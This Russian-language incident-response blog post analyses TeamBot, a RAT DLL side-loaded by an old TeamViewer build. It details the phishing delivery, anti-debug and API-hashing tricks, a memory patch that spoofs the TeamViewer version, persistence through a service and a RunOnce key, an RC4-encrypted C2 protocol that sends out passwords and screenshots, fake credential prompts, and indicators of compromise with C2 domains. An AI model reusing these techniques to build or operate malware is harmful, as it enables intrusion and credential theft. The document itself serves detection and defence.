В октябре 2021 года к нам в Solar JSOC CERT поступил запрос: одна крупная технологическая компания попросила помочь в расследовании инцидента. В процессе работы мы обнаружили старую знакомую - вредоносную DLL TeamBot (aka TeamSpy, TVSPY, TeamViewerENT, TVRAT), которая загружалась легитимной утилитой TeamViewer. Это ВПО уже лет 10 фигурирует в отчетах как отечественных, так и зарубежных ИБ-компаний. Но за эти годы TeamBot научился кое-чему новому, о чем мы и расскажем в этом посте.
Вектор атаки
Итак, TeamBot в основном распространяется через фишинг (какая неожиданность!). В нашем кейсе жертвы получали вот такие письма:
Архив содержал текстовый файл "Код 0921.txt", имя которого является паролем для распаковки внутреннего архива с полезной нагрузкой.
Аналогичная структура архива фишингового письма описывается в статье наших коллег из Dr.Web. «В приложенном архиве находится защищенный RAR-архив и текстовый файл с паролем. В архиве находится дроппер в виде самораспаковывающегося RAR’а, внутри которого лежит сам BackDoor.RMS.180.»
Исполняемый файл архива представлял из себя установщик NSIS (Nullsoft Scriptable Install System – https://nsis.sourceforge.io), который при запуске в тихом режиме распаковывал следующие файлы в каталог %PROGRAMDATA%\ViberPC\icons:
Файл | Описание |
Teamviewer_Resource_ja.dll | Легитимный DLL-файл TeamViewer 5.0.7687.0, необходимый для его работы |
TV.dll | Вредоносный DLL-файл TeamBot |
Uniprint.exe | TeamViewer Quick Support (TVQS) 5.0.7687.0 |
vpn.cab | Легитимный cab-архив с файлами для установки vpn-адаптера TeamViewer |
Далее запускался файл Uniprint.exe (далее – процесс TeamViewer) с аргументом f: UniPrint.exe f.
Вредоносная DLL, располагаемая рядом с Uniprint.exe, через технику DLL Hijacking загружалась процессом TeamViewer.
В статье Dr.Web, упомянутой выше, в составе BackDoor.RMS.180 для легитимной утилиты удаленного управления использовалось аналогичное имя – Uniprint.exe:
«Состав самораспаковывающегося дроппера:
libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), чистый;
ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), чистый;
UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), подписан действительной подписью;
WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), подписан действительной подписью;
winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) — основной вредоносный модуль, обеспечивающий скрытую работу Remote Utilities.»
Анализ TV.dll
Вредоносная DLL – 32-разрядный файл, скомпилированный 31.08.2021 07:21:32 UTC. Он имеет идентичные оригинальной DLL метаданные и pdb-путь, но экспортируемые функции отличаются, а цифровая подпись отсутствует. Cравните:
Для сравнения в качестве оригинальной TV.dll была использована следующая:
MD5 | 2f87102bd8f9c562155932dc64bb2074 |
SHA-1 | 31397b16d0bb02c0f62a6cb1fbdfbaf8318e397e |
SHA-256 | 49476faa2316fead6927512a39a5e72c0c0b72959ab127d3e1fb760b7d78500c |
Техники для усложнения анализа (anti-analysis)
1. Шифрование домена и пути сервера управления (далее – C2).
Для шифрования применяется операция NOT к каждому байту домена и пути C2. В некоторых образцах данные C2 представлены в незашифрованном виде, но после запуска шифруются. Зашифрованные домен и путь С2 чаще всего располагаются рядом и разделены несколькими 0x00-байтами:
2. Использование StrChr + wsprintf
С помощью WinAPI-функций StrChr выполняется поиск нужных подстрок, а wsprintf используется для формирования конечной строки.
3. Использование хешей API-вызовов при динамическом импорте
Псевдокод алгоритма хеширования:
api_hash = crc32("<api_name>") ^ xor_key
,
где <api_name>
– имя API-вызова, например, LoadLibraryA
;
xor_key – 0x435A88 (Uniprint.exe OptionalHeader.CheckSum)
или 0x4B4CA51F (Uniprint.exe FileHeader.TimeDateStamp)
.
Кстати, аналогичным образом кодируются команды, получаемые от C2.
4. Получение строк по raw-смещению из указанного PE-файла
Строки берутся из легитимного файла TeamViewer.exe (в данном случае Uniprint.exe) по смещению.
5. Anti-debug техника через поиск окна OllyDbg, но со своими особенностями
Злоумышленники используют WinAPI-функцию FindWindow
для поиска окон с заголовками "ollyDbG" и "ollyDb":
Особенность в том, что вместо стандартного поведения – после обнаружения окна завершать программу – злоумышленники изменяют значение xor-ключа. Из-за этого не происходит динамической загрузки API, а значит, не устанавливаются хуки на функции, а весь основной функционал содержится в хуках.
Перехват функций с помощью библиотеки MinHook
Для установки хуков на функции использовалась библиотека с открытым исходным кодом MinHook. Совпадение по коду видно на следующем примере:
Стоит отметить, что аналогичная библиотека использовалась BackDoor.RMS.180 в кейсе, описанном Dr.Web: «Далее приступает к перехвату API-функций. Для этого использует библиотеку MinHook.»
Начальный этап запуска
После загрузки в легитимный процесс Uniprint.exe (переименованный Teamviewer.exe) вредоносная DLL выполняет несколько проверок:
1. Killswitch-проверка
Определяет наличие файла foobar.jpg на рабочем столе текущего пользователя:
При наличии файла происходит завершение процесса TeamViewer.
2. Проверка процесса TeamViewer
Выполняется путём проверки контрольной суммы файла или даты его компиляции:
OptionalHeader.CheckSum == 0x435A88
FileHeader.TimeDateStamp == 0x4B4CA51F (12.01.2010 16:36:47 UTC)
Аналогичные действия выполнял и BackDoor.RMS.180 из кейса Dr.Web: «Затем бэкдор проверяет, в контексте какого исполняемого файла он работает. Для этого проверяет значение IMAGE_NT_HEADERS.OptionalHeader.CheckSum основного исполняемого модуля:»
3. Проверка отсутствия тестового режима Windows
Тестовый режим в Windows позволяет установить драйверы без цифровой подписи.
Если данный режим включен, то происходит изменение xor-ключа. Из-за этого не выполняется динамический импорт API-вызовов и не устанавливаются хуки на функции.
Когда все проверки успешно пройдены, выполняется обработка аргументов командной строки и установка хуков на различные WinAPI-функции.
Подключение старой версии клиента TeamViewer к серверам
Чтобы получить удаленный доступ к жертве, злоумышленники используют довольно старый файл Uniprint.exe. Это легитимный файл TeamViewer QuickSupport 2010 года выпуска. Версия файла 5.0.7687. Вероятнее всего, использование такой старой версии обусловлено наличием в ней уязвимости к технике DLL Hijacking. При запуске данного файла без вредоносной библиотеки TV.dll он не подключается к серверам TeamViewer, не переходит в режим онлайн и, соответственно, не может предоставить удаленный доступ.
В рассматриваемой версии TeamBot рядом с вредоносной DLL и процессом TeamViewer находилась легитимная DLL Teamviewer_Resource_ja.dll, которая содержала в себе строки интерфейса TeamViewer на японском языке. Скорее всего, это было сделано для усложнения взаимодействия исследователей с TeamViewer. Приведем скриншот основного окна TeamViewer после запуска без изменения версии (для удобства приводим справа скриншот аналогичного окна англоязычной версии программы):
Для того чтобы такой старый файл мог подключаться к серверам TeamViewer и предоставлять удаленный доступ, злоумышленники перед установкой хуков изменяют значение версии в памяти процесса TeamViewer:
Функция mw_replace_tv_version выполняет поиск страниц памяти, которые удовлетворяют следующим требованиям:
состояние страницы MEM_COMMIT;
тип страницы MEM_PRIVATE;
права доступа PAGE _READWRITE.
Далее в найденных страницах выполняется последовательное сравнение 16 байт, пока не будет обнаружена UTF16-LE строка "5.0.7687".
После обнаружения данной строки происходит замена "5.0.7" на "15.0.", в результате чего версия становится "15.0.687".
Это приводит к тому, что дальше процесс TeamViewer будет обращаться к другим адресам TeamViewer, актуальным для 15-й версии. Данное значение версии будет отправляться на эти серверы, что в конечном итоге приведет к успешному соединению и статусу «онлайн»:
Мы также попробовали применить данный прием на другой старой версии TeamViewer Quick Support – 5.1.17330 QS – и срабатывало!
Такая техника замены версии перестала работать примерно с ноября 2021 года. Скорее всего, производитель (компания TeamViewer) ввел дополнительные проверки. Здесь стоит отдельно отметить, что из-за неработающей техники замены версии злоумышленники потеряли только возможность удаленного управления через TeamViewer. RAT-функционал, реализуемый вредоносной DLL, остался и позволял выполнять команды управления, получаемые с C2.
Аргументы командной строки
Вредоносная DLL поддерживает следующие аргументы командной строки, которые передаются процессу TeamViewer:
Аргумент | Описание |
f | Выполняется перезапуск легитимного процесса TeamViewer без аргументов командной строки через WMI с помощью COM-интерфейса IWbemServices и вызов метода Win32_Process::Create. |
k | Удаляет все файлы и методы закрепления, завершает свои процессы. |
w <value> | <value> – задержка в секундах Задает задержку перед запуском основного кода оркестратора |
Хук user32.CreateDialogParamW. Закрепление и запуск RAT-потока
Большинство хуков предназначены для сокрытия окон TeamViewer
и обеспечения его работы в тихом режиме. Общий список API-функций, на которые устанавливаются хуки, приведен ниже.
Раскрыть список
Хуки kernel32.dll
CreateFileW
CreateMutexA
CreateDirectoryW
MoveFileW
MoveFilewExW
Хуки user32.dll
CreateDialogParamW
RegisterClassExW
CreateWindowExW
MoveWindow
SetWindowPos
ShowWindow
Shell_NotifyIconW
InvalidateRect
MessageBoxA
MessageBoxW
IsWindowVisible
BringWindowToTop
SetForegroundWindow
SetFocus
FindWindowW
SystemParametersInfoW
Хуки shell32.dll
RegCreateKeyExW
RegOpenKeyExW
Хуки iphlpapi.dll
GetAdaptersInfo
Хуки wintrust.dll
WinVerifyTrust
Хуки wsock32.dll
bind
Остановимся на описании кода хука, который запускает потоки опроса C2 и выполнения команд, а также другие ключевые действия. Итак, что же делает хук:
Делает окна процесса TeamViewer невидимыми и убирает текст их заголовков. В итоге пользователь не видит окна и журнал копирования файлов, а также окна отсутствия соединения с серверами TeamViewer.
В каталоге с вредоносной DLL запускает все файлы с расширением pdll
(они распаковываются с помощью WinAPI-функцииRtlDecompressBuffer
и инжектируются в создаваемый процесс "%system_directory%\rundll32.exe" -svcr "%pdll-file%").Добавляет входящее правило брандмауэра "UniPrint Manager", разрешающее входящий трафик исполняемому файлу Uniprint.exe:
Создает и запускает службу USBManager (отображаемое имя USB Ports Manager), которая запускается в рамках легитимного процесса svchost.exe в своей группе – USBPortsManagerGrp. Командная строка для запуска: %%SYSTEMROOT%%\system32\svchost.exe -k "USBPortsManagerGrp" -svcr "<имя_исполняемого_файла_TeamViewer>". Служба обеспечивает закрепление (persistence) TeamBot в системе путём запуска процесса, указанного в параметре -svcr, для каждого пользователя, осуществляющего logon (событие WTS_SESSION_LOGON) с правами данного пользователя.
Записывает данные "UniPrint.exe f" в значение с именем исполняемого файла в ключ HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce.
Запускается поток получения и обработки команд с C2.
Взаимодействие с C2
По умолчанию интервал опроса C2 – 60 секунд. Значение может изменяться при получении новых данных с C2. Если значение меньше 10 секунд, то интервал опроса снова устанавливается в значение по умолчанию.
При каждом опросе выполняются следующие действия:
отправка и получение данных с C2;
обновление конфига TeamBot в TeamViewer.ini;
актуализация данных для подключения к C2.
Структура данных отправляемых на C2 (максимальный размер – 4096 байт):
Поле структуры запроса | Описание |
word data_size | размер пакета |
dword magic | 0x832EB9B |
word reserved | 0x0102 по умолчанию |
char reserved | 0x01 по умолчанию |
char bool_svc_created_and_running | 0x1, если служб USBManager создана |
char is_WoW64_process | 0x1, если процесс TeamViewer запущен на 64-разрядной ОС. |
char is_local_admin | 0x1, если пользователь член группы «Администраторы» |
char is_elevated_token | 0x1, если пользователь имеет права администратора |
char c2_action_return_code | 0x0 по умолчанию код возврата выполненной команды, полученной с С2 |
char bool_is_vpn_service_installed | 0x1, если установлена легитимная служба teamviewervpn (есть C2-команда vpn). |
word reserved | 0x0 по умолчанию |
char reserved | 0x17 по умолчанию |
char is_workstation_or_server | определяется c помощью Netapi32.NetServerGetInfo |
dword mb_session_id | 0x0 по умолчанию. Вероятно, идентификатор сессии. Значение получается с C2 |
dword crc32_username_fqdn_hostname_sid | CRC32("username"+"fqdn_hostname"+"sid_str") |
dword win_major_version | версия и номер построения ОС Windows |
dword win_minor_version | |
dword win_build_number | |
dword screenshot_buffer_size | размер скриншота рабочего стола в байтах |
dword c2_action_output_buffer_size | 0x0 по умолчанию. Размер буфера, содержащего вывод выполненной команды, полученной с C2. |
dword cleartext_user_password_length | Длина строки пароля пользователя из раздела [PWD] файла TeamViewer.ini для значения fqdn_hostname\username |
char username[] | Имя пользователя |
char fqdn_hostname[] | hostname в формате в формате ComputerNameDnsFullyQualified |
char lowercased_locale[] | значение локали пользователя в нижнем регистре |
char cleartext_user_password[] (if length != 0) | Пароль пользователя из раздела [PWD] файла TeamViewer.ini для значения fqdn_hostname\username в открытом виде |
char fg_window_titlebar_text[] | Текст заголовка активного окна пользователя |
char tv_file_full_path[] | Полный путь к исполняемому файлу TeamViewer (Uniprint.exe) |
char TV_ID[] | Значение TeamViewer ID и пароля клиента TeamViewer для подключения к жертве. TeamBot программно получает эти данные из невидимого главного окна. |
char TV_password[] |
Данные запроса перед отправкой шифруются с использованием алгоритма RC4. Ключ – доменное имя C2 (например, "widolapsed[.]info").
Данные отправляются по протоколу http/https (в зависимости от конфигурации) POST-запросом следующего формата:
Формат запроса:
Заголовки:
POST /C4E23A5C/ HTTP/1.1
Cache-Control: no-cache
Content-Length: 37194
Content-Type: multipart/form-data; boundary=--------<random_dword_from_RtlRandom>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; DynGate)
Host: widolapsed.info (RC4_key)
Connection: close
----------<random_dword_from_RtlRandom>
Content-Disposition: form-data; name="k"
Content-Type: text/plain
Content-Transfer-Encoding: binary
Данные:
RC4_encrypted_header RC4_encrypted_screenshot RC4_encrypted cmd_output
В качестве User-Agent используется легитимный агент TeamViewer процесса.
Формат ответа:
Поле структуры ответа | Описание |
dword magic | Если равно 0x832EB9B, то записать новые параметры подключения к C2 в раздел [Settings] в файл TeamViewer.ini и выполнить команду с С2 при её наличии |
word c2_poll_interval | Интервал опроса C2 в секундах |
dword mb_session_id | Вероятно, идентификатор сессии |
char use_new_c2_delay_ht_value | Задержка в часах перед сменой данных о подключении к C2 (домен, путь, http/https) на полученные в данном ответе. Значение записывается в значение "ht" в разделе [Settings] в файле TeamViewer.ini.. |
char bool_use_https_hsn_value | использовать ли протокол https при взаимодействии с C2. Значение записывается в значение "hsn" в разделе [Settings] в файле TeamViewer.ini |
word c2_domain_length | Длина строки нового C2 домена |
word c2_path_length | Длина строки нового C2 пути |
word run_c2_dispatch_command_thread | Имеется ли команда для выполнения |
char c2_domain_hdn_value[] | Строка нового C2 домена |
char c2_path_hpn_value[] | Строка нового C2 пути |
char c2_cmd_string[] | Строка команды от C2 в формате: action_name action_arg1 action_arg2… |
Конфигурация TeamBot в ini-файле
Конфигурация TeamBot сохраняется в легитимном файле TeamViewer.ini. Помимо стандартных настроек конфигурации TeamViewer (например, LogIncomingConnections = 0 для отключения логирования входящих соединений), есть и настройки, относящиеся непосредственно к TeamBot:
Для лучшего понимания значений параметров приведем подробный разбор формата их записи.
hdn / hdc – вероятно "host domain new" и "host domain current".
Символы n и c отражают тип параметра:
Формат записи параметров подключения:
h<parameter_name><parameter_type>, где
<parameter_name> может принимать следующие значения:
d – domain;
p – path;
s – security.
<parameter_type> может принимать следующие значения:
n ("new") – параметры, начинающиеся на h и оканчивающиеся на n, относятся к новым данным для подключения к C2;
c ("current") – параметры, начинающиеся на h и оканчивающиеся на c, относятся к текущим данным для подключения к С2.
TeamBot при каждом опросе в качестве C2 использует current-значения из ini-файла. Если current-значений нет, то используются параметры C2, вшитые во вредоносную DLL. Новые данные для подключения от C2 записываются в new-значения в ini-файле и становятся current-значениями только после наступления времени, которое задается параметром gd (в формате unix timestamp). Схема ротации C2:
Под спойлером - описание всех возможных параметров TeamBot в ini-файле.
Спойлер
Параметр конфигурации | Описание |
Раздел [Settings] | |
new параметры задают новые данные для подключения к C2 после устаревания старых данных | |
hdn "host domain new" | Домен C2. Пример, reneagemones.info |
hpn "host path new" | Путь C2. Пример, /C4E23A5C/ |
hsn "host security new" | Использовать ли протокол https для подключения к С2. По умолчанию 0x1 |
current параметры отображают текущие данные для подключения к C2 | |
hdс "host domain current" | Домен C2. Пример, reneagemones.info |
hpс "host path current" | Путь C2. Пример, /C4E23A5C/ |
hsс "host security current" | Использовать ли протокол https для подключения к С2. По умолчанию 0x1 |
Временные параметры | |
ht "host time" | Время задержки перед использованием «новых» данных для подключения к C2 в часах. |
gd | Метка времени, после которой необходимо обновить данные для подключения к C2. Задается в формате UNIX timestamp. gd = current_unix_time + 3600 * ht |
<tv_vpn_service_name> | Полный путь до установочного файла vpn-службы TeamViewer. Пример, install.exe из архива vpn.cab |
Раздел [PWD] В данном разделе сохраняются пароли учетных записей в открытом виде, которые получаются после ввода паролей в фейковые окна ввода паролей, которые может отображать TeamBot | |
Ключи формата <fqdn_formatted_hostname>\ | Пароль пользователя в открытом виде, полученный с помощью фейковых окон на защищенном рабочем столе |
Разделы [<SID_string>], Где <SID_string> – SID-строка пользователя | |
gd | Случайно сгенерированное ID-пользователя, которое записывается в ini-файл по команде 0x5D22927C ("genid") |
Список команд
Последний параметр в ответе C2 – строка команды в формате: action_name action_arg1 action_arg2…
Внутри TeamBot над action_name
выполняются следующие преобразования:
encrypted_action_name = CRC32(action_name) ^ xor_key
, где xor_key = 0x435A88 (Uniprint.exe OptionalHeader.CheckSum)
или 0x4B4CA51F (Uniprint.exe FileHeader.TimeDateStamp)
.
Поэтому все команды в коде TeamBot представляют собой 4-байтовые последовательности.
Аналогичное кодирование и названия команд присутствовали в статье компании Avast в 2017 году : «The communication via the TeamViewer chat allows for the basic backdoor functionalities to be performed: applist, wcmd, ver, os, vpn, locale, time, webcam, genid. Inside the TeamSpy code, these commands are compared to their crc32 checksums, so collisions can very easily happen. Because crc32(wcmd) = 07B182EB = crc32(aacvqdz), both of these commands are interchangeable.»
Таблица совпадений команд TeamBot
Команды из статьи Avast 2017 | Команды TeamBot 2021 |
wcmd | cmdw |
vpn | vpn |
genid | genid |
Команды TeamBot 2021
Команда | Описание |
Сервисные (utility) команды | |
kill 0x076A0CE1 | Самоудаление |
update 0x98666FF0 | Выполнить обновление компонентов. Если аргументов нет, то распаковать файл update.cab в каталоге с вредоносной DLL и удалить его. Иначе загрузить cab-файл с указанного URL в файл с именем u%long_int_value_from_RtlRandom%.cab, далее распаковать и удалить |
stop 0xB9154C3E | Остановка и удаление службы USBManager |
reboot 0xC110DE04 | Перезагрузка хоста |
poweroff 0xE6F1017F | Выключение хоста |
genid 0x5D22927C | Сгенерировать случайный ID текущему пользователю и записать его в значение gd в разделе [SID-str] в -файл TeamViewer.ini. Перезапустить процесс TeamViewer с аргументом " w 5" |
Команды взаимодействия с TeamViewer | |
expired 0x190CB7C3 | Генерация нового пароля TeamViewer |
genpass 0x4231AB6 | |
vpn 0x2A4BA2D1 | Установка/удаление легитимной службы teamviewervpn |
restart 0xE7BA788F | Перезапуск процесса TeamViewer |
Команды для загрузки / запуска | |
cmd 0x2F1F4648 | cmd (no window, without waiting for completion). Выполнить указанную команду с помощью ShellExecuteExA |
cmdvw 0x2965D6C5 cmdwv 0x4779D712 | cmdwv (w – wait for completion, v – visible window). Выполнить указанную команду с помощью ShellExecuteExA |
cmdw 0x876BCF36 | cmdw (wait for completion). Выполнить указанную команду с помощью ShellExecuteExA |
cmdv 0xF06CFFA0 | cmdv (v – visible window, without waiting for completion). Выполнить указанную команду с помощью ShellExecuteExA |
cmdr 0xF7013BB9 | cmdr (r – result) В тихом режиме выполнить команду с помощью CreateProcess и "%system_dir%/cmd.exe" /c. Вывод команды отправить на С2 |
dwl 0x94A62224 | dwl (only download). Загрузить указанный файл с C2 на хост жертвы в указанный каталог |
dwlr 0xB3BEAFAE | dwlr (download and run). Загрузить файл с C2 с указанного URL и сохранить в указанный каталог |
dlldwlr 0x539B9257 | Загрузить pdll-файл с сервера C2 в указанный каталог и запустить его. pdll-файл распаковывается с помощью WinAPI-функции RtlDecompressBuffer и инжектируется в создаваемый процесс "%system_directory%\rundll32.exe" -svcr "%pdll-file%" |
rundll 0xDF32D24A | Запустить указанный pdll-файл. pdll-файл распаковывается с помощью WinAPI-функции RtlDecompressBuffer и инжектируется в создаваемый процесс "%system_directory%\rundll32.exe" -svcr "%pdll-file%" |
killdll 0xD4C57BA8 | Удаление конкретной или всех pdll-файлов из текущего каталога вредоносной DLL |
Отображение фейковых окон с ошибками | |
fuac 0xC52DEDF4 | Данные команды предназначены для отображения на защищенном рабочем столе различных фейковых окон с вводом учетных данных, чтобы получить пароль пользователя в открытом виде. Стоит отметить, что выйти из защищенного рабочего стола можно только при правильном вводе пароля. В противном случает потребуется его повторный ввод. Пароль записывается в открытом виде в раздел [PWD] в значение <fqdn_formatted_hostname>\<username> в файл TeamViewer.ini.
Функционал реализуется через вызов экспортной функции #401 вредоносной DLL с различными аргументами: "%system_dir%\rundll32.exe" "%TV_dll_full_path%",#401 <cmd_argument> "%TV_executable_full_path%", где <cmd_argument> зависит от команды: fuac – u; fake – f; ferror – e. |
fake 0xCD8EABE7 | |
ferror 0xF4D35C00 |
Ниже приведены примеры фейковых окон:
Аргумент "f" без прав администратора:
Остальные аргументы и сообщения об ошибках:
Внутренняя структура данных веб-панели C2
На C2 также был поднят веб-сервер. При открытии URL С2 в браузере появляется форма с логином, паролем и CAPTCHA. Логина и пароля у нас не было, но мы заметили, что среди статических файлов, которые загружаются при посещении панели логина, был js-скрипт main.js на ~3700 строк. В первой строке файла была видна версия ботнета:
Файл предназначался для корректного отображения динамического контента при работе в панели управления ботнетом, не содержал самих данных, но раскрывал их внутреннюю структуру.
Судя по полученному js-файлу веб-панель управления TeamBot имела следующие стандартные возможности:
управление пользователями;
управление как одним ботом, так и несколькими;
подробная информация по каждому отдельно взятому боту;
механизм создания / выполнения задач;
получение статистической информации;
возможность управления через telegram-бота.
POST-методы панели ботнета:
timezones, getbots, comment, screenshot, gettasks, getgtasks, cleartask, addtask, addgtask, removetask, removegtask, remove, logout, getfiles, uploadfile, removefile, removeuser, tgbotstate
GET-метод панели ботнета – statistic.
Поля таблицы ботов:
bot_id, ip, country, os, lastwnd, runasadmin, tasks, comment, added_dt, last_dt, id, country_code, city, type, osmajor, osminor, oswks, osbuild, os64, lang, lang_code, service, compname, region, admin, username, cmdsupport, killsupport, screensm, vpn, dllmajor, dllminor, build, bot_pass, userpass.
Поля таблицы файлов:
id, date_added, user, filetype, filename, len, hash.
Поля таблицы пользователей:
id, login, lonline, roles.
Типы статистической информации
Заключение
С определенной долей уверенности можно сказать, что в атаках 2017 (отчет компании Avast), 2020 (отчет компании Dr.Web) и 2021 года использовалась одна кодовая база, которая просто дорабатывалась под конкретные нужды злоумышленников. Мы уверены, что это ещё не конец истории TeamBot, и злоумышленники продолжат его дорабатывать. Но есть и хорошие новости: большинство вредоносных DLL успешно детектируются антивирусами.
P.S
Индикаторы компрометации (IOC)
Образцы, исследуемые в статье:
Имя файла | SHA256 |
Комплект документов по запросу от 20.08.2021 БН.rar | 0dcdfffae1d38b64f5b5165d3415172db747b2126f36320427302d2f9e989227 |
Комплект документов по запросу от 20.08.2021 БН.pdf.exe | 258b364ab27f67fe67b70169cbf89998ad2bcf6e348d05e9426c40463f4e65e9 |
TV.dll | 34137ec65921ebd1b68d8b76e6900c9ce49a1be3690685cc84049936ad28f995 |
Хостовые индикаторы:
Каталог %APPDATA%\ViberPC\icons\
Каталог %PROGRAMDATA%\ViberPC\icons\
Группа USBPortsManagerGrp
Служба USBManager (описание "USB Ports Manager")
Правило брандмауэра "UniPrint Manager"
Сетевые индикаторы из рассматриваемой в статье вредоносной DLL:
widolapsed.info/C4E23A5C/
outnegorave.info/C4E23A5C/
reneagemones.info/C4E23A5C/
Сетевые индикаторы из других образцов кампании:
45.147.229.222/A9F5CA80/
tendiever.com/update/
widolapsed.info/B8C631A8/
novaleadfore.info/C85A35E0/
sump.tech/o2kmz/
outnegorave.info/B8C631A8/
outnegorave.info/DA560AB0/
Автор: Антон Каргин, инженер технического расследования "Ростелеком-Солар"